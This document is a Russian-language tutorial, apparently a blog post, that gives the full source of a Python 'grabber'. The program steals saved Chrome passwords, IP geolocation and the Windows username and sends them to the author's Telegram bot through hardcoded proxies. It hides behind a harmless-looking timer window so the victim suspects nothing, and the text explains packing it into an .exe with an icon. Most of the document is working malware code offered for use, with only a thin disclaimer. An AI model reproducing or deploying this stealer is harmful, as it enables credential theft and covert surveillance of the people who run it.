Небольшой граббер данных с пк и айпи.
ВНИМАНИЕ!
Информация предоставлена исключительно в ознакомительных целях.
Начнём как обычно с импортов зависимостей:
import os import sqlite3 import requests import argparse from sys import exit from tkinter import * from time import sleep from win32crypt import CryptUnprotectData
Сразу хочу оговориться, грабер паролей я писал не сам, старенький скрипт который лежал у меня на пк.
Сразу кидаю весь скрипт граббера паролей с хрома.
Что бы он корректно работал - хром должен быть закрыт. В любом случае отследить процесс хрома и убить его не составит труда. Но раз мы тут не вирусы пишем я не буду этого делать.
# Находим Хром def chromepath(): PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\' if (os.path.isdir(PathName) == False): exit(0) return PathName # Грабим базу данных с сохраненными паролями def grub(): secret = [] path = chromepath() try: connection = sqlite3.connect(path + "Login Data") with connection: cursor = connection.cursor() v = cursor.execute('SELECT action_url, username_value, password_value FROM logins') value = v.fetchall() for i in value: password = CryptUnprotectData(i[2], None, None, None, 0)[1] if password: secret.append({'1': i[0],'2': i[1],'3': str(password)}) except sqlite3.OperationalError as e: if (str(e) == 'database is locked'): exit(0) else: exit(0) if secret == []: pass else: return secret # Сохраняем пароли в массив def pass_list(teb): mass = [] for data in teb: for x in data.values(): mass.append(x) # print(x) return mass
Далее нам необходимо добавить прокси для корректной отправки в телеграм логов, ведь в РФ телеграм заблочен.
http_proxy = "http://46.5.252.70:3128" https_proxy = "https://68.183.80.218:8080" ftp_proxy = "ftp://68.183.80.218:8080" proxyDict = { "http" : http_proxy, "https" : https_proxy, "ftp" : ftp_proxy }
Далее нам необходимо прописать токен и айди человека которому будут лететь логи.(Обязательно напишите боту /start перед проверкой работоспособности софта.) Что бы создать бота пишем @BotFather и создаем у него бота. После получения токена идём к @get_id_bot и получаем свой айди. Далее заполняем данные в скрипте.
token = "11111111111:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" URL = "https://api.telegram.org/bot" + token + "/" id = 123321123321
Затем нам необходимо написать функцию чека айпи:
def get_ip_info(): r = requests.get("http://api.ipify.org") ip = r inf = requests.get(f"https://ipapi.co/{ip.text}/json/") city = inf.json()["city"] region = inf.json()["region"] country_name = inf.json()["country_name"] timezone = inf.json()["timezone"] utc_offset = inf.json()["utc_offset"] country_calling_code = inf.json()["country_calling_code"] currency = inf.json()["currency"] languages = inf.json()["languages"] org = inf.json()["org"] text = "ip: " + ip.text + "\n" + "Город: " + city + "\n" + "Регион: " + region + "\n" + "Страна: " + country_name + "\n" + "Временная зона: " + timezone + "\n" + "UTC: " + utc_offset + "\n" + "Код сотового оператора: " + "±" + country_calling_code + "\n" + "Валюта: " + currency + "\n" + "Языки: " + languages + "\n" + "Провайдер: " + org + "\n" + "Имя пользователя пк: " + str(os.getlogin()) + "\n\n\n" + "Пароли: " + "\n" + str(pass_list(grub())) url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML" requests.get(url, proxies=proxyDict)
Итак, вначале мы делаем запрос на api.ipify.org что бы узнать айпи машины на которой запущен скрипт, далее мы отправляем этот айпи на другой сервис ipapi.co и с его ответа уже парсим город, регион, страну, временную зону, часовой пояс. код сотового оператора, валюту, языки, провайдера. Так же в конце text есть функция str(os.getlogin())
которая позволяет узнать нам имя пользователя виндовс.
Так же в конце есть вызов нашей функции которая грабит пароли. pass_list(grub())
ну а с помощью последних двух строк :
url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML" requests.get(url, proxies=proxyDict)
мы отправляем сообщение через бота себе.
Что бы не вызвать подозрения у пользователя мы сделаем простенький таймер который через определенное количество минут выдаст пользователю сообщение которое он заранее записал туда.
Начнём с функции которая отвечает за создание встречающего нас окна:
def main(): root = Tk() root.resizable(width=False, height=False) root.title("Timer") root.geometry("350x120") token = StringVar() ids = StringVar() name_label = Label(text="Time:") surname_label = Label(text="Text:") name_label.place(relx=.1, rely=.20, anchor="w") surname_label.place(relx=.1, rely=.40, anchor="w") message_entry1 = Entry(textvariable=token, selectbackground="red") message_entry1.place(relx=.5, rely=.30, anchor="sw") message_entry2 = Entry(textvariable=ids, selectbackground="red") message_entry2.place(relx=.5, rely=.45, anchor="sw") message_button2 = Button(text="start", command=lambda:reset(root, token.get(), ids.get())) message_button2.place(relx=.50, rely=.8, width=120, anchor="c") root.mainloop()
Здесь мы создаем окно с 2 полями. В первое просим ввести время а во второе текст. Выглядит оно так:
После заполнение полей и нажатия кнопки старт будет вызвана функция reset:
def reset(testroot, one, two2): testroot.destroy() timer(one, two2)
Тут мы убиваем это окно и передаём управление функции timer:
def timer(one, two2): n = 0 while True: if n < int(one) * 60: n+=1 print(n) sleep(1) else: root = Tk() root.resizable(width=False, height=False) root.title("ДЗЫНЬ ДЗЫНЬ") root.geometry("350x135") text = Text(width=42, height=6, bg="white", fg='black', wrap=WORD) text.pack() text.insert(END, str(two2)) message_button2 = Button(text="Exit", command=lambda:reset2(root)) message_button2.place(relx=.50, rely=.87, width=120, anchor="c") root.mainloop() break
Функция таймер будет вести отчет в минутах. Как только минуты которые вписал пользователь истекут он выдаст сообщение:
(Это лишь пример, тут будет текст который пользователь впишет во второй графе.) После нажатия кнопки Exit будет вызвана функция которая убьёт окно
def reset2(testroot): testroot.destroy()
Так же помимо листинга программы в конце хотелось бы сказать о том что можно с лёгкостью конвертировать py скрипт в exe файл при помощи pyinstaller и даже задать ему иконку :)
Делается это очень просто:
В конце указываем файл или путь к нему, в моём случае это main.py
Вот скрин отстука с бота. Естественно всё происходило на моём личном пк для тестирования:
Вы бы могли улучшить скрипт добавив граббинг паролей с других популярных браузеров.
Мой код не идеален. Это вообще всё большой костыль по моему мнению и можно было лучше.
На этом всё, а вот и полный листинг программы:
import os import sqlite3 import requests import argparse from sys import exit from tkinter import * from time import sleep from win32crypt import CryptUnprotectData # Находим Хром def chromepath(): PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\' if (os.path.isdir(PathName) == False): exit(0) return PathName # Грабим базу данных с сохраненными паролями def grub(): secret = [] path = chromepath() try: connection = sqlite3.connect(path + "Login Data") with connection: cursor = connection.cursor() v = cursor.execute('SELECT action_url, username_value, password_value FROM logins') value = v.fetchall() for i in value: password = CryptUnprotectData(i[2], None, None, None, 0)[1] if password: secret.append({'1': i[0],'2': i[1],'3': str(password)}) except sqlite3.OperationalError as e: if (str(e) == 'database is locked'): exit(0) else: exit(0) if secret == []: pass else: return secret def pass_list(teb): mass = [] for data in teb: for x in data.values(): mass.append(x) # print(x) return mass # print(pass_list(grub())) http_proxy = "http://46.5.252.70:3128" https_proxy = "https://68.183.80.218:8080" ftp_proxy = "ftp://68.183.80.218:8080" proxyDict = { "http" : http_proxy, "https" : https_proxy, "ftp" : ftp_proxy } token = "11111111111:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" URL = "https://api.telegram.org/bot" + token + "/" id = 123321123321 def get_ip_info(): r = requests.get("http://api.ipify.org") ip = r inf = requests.get(f"https://ipapi.co/{ip.text}/json/") city = inf.json()["city"] region = inf.json()["region"] country_name = inf.json()["country_name"] timezone = inf.json()["timezone"] utc_offset = inf.json()["utc_offset"] country_calling_code = inf.json()["country_calling_code"] currency = inf.json()["currency"] languages = inf.json()["languages"] org = inf.json()["org"] text = "ip: " + ip.text + "\n" + "Город: " + city + "\n" + "Регион: " + region + "\n" + "Страна: " + country_name + "\n" + "Временная зона: " + timezone + "\n" + "UTC: " + utc_offset + "\n" + "Код сотового оператора: " + "±" + country_calling_code + "\n" + "Валюта: " + currency + "\n" + "Языки: " + languages + "\n" + "Провайдер: " + org + "\n" + "Имя пользователя пк: " + str(os.getlogin()) + "\n\n\n" + "Пароли: " + "\n" + str(pass_list(grub())) url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML" requests.get(url, proxies=proxyDict) def reset(testroot, one, two2): testroot.destroy() timer(one, two2) def reset2(testroot): testroot.destroy() def timer(one, two2): n = 0 while True: if n < int(one): n+=1 print(n) sleep(1) else: root = Tk() root.resizable(width=False, height=False) root.title("ДЗЫНЬ ДЗЫНЬ") root.geometry("350x135") text = Text(width=42, height=6, bg="white", fg='black', wrap=WORD) text.pack() text.insert(END, str(two2)) message_button2 = Button(text="Exit", command=lambda:reset2(root)) message_button2.place(relx=.50, rely=.87, width=120, anchor="c") root.mainloop() break def main(): root = Tk() root.resizable(width=False, height=False) root.title("Timer") root.geometry("350x120") token = StringVar() ids = StringVar() name_label = Label(text="Time:") surname_label = Label(text="Text:") name_label.place(relx=.1, rely=.20, anchor="w") surname_label.place(relx=.1, rely=.40, anchor="w") message_entry1 = Entry(textvariable=token, selectbackground="red") message_entry1.place(relx=.5, rely=.30, anchor="sw") message_entry2 = Entry(textvariable=ids, selectbackground="red") message_entry2.place(relx=.5, rely=.45, anchor="sw") message_button2 = Button(text="start", command=lambda:reset(root, token.get(), ids.get())) message_button2.place(relx=.50, rely=.8, width=120, anchor="c") root.mainloop() if __name__ == "__main__": get_ip_info() main()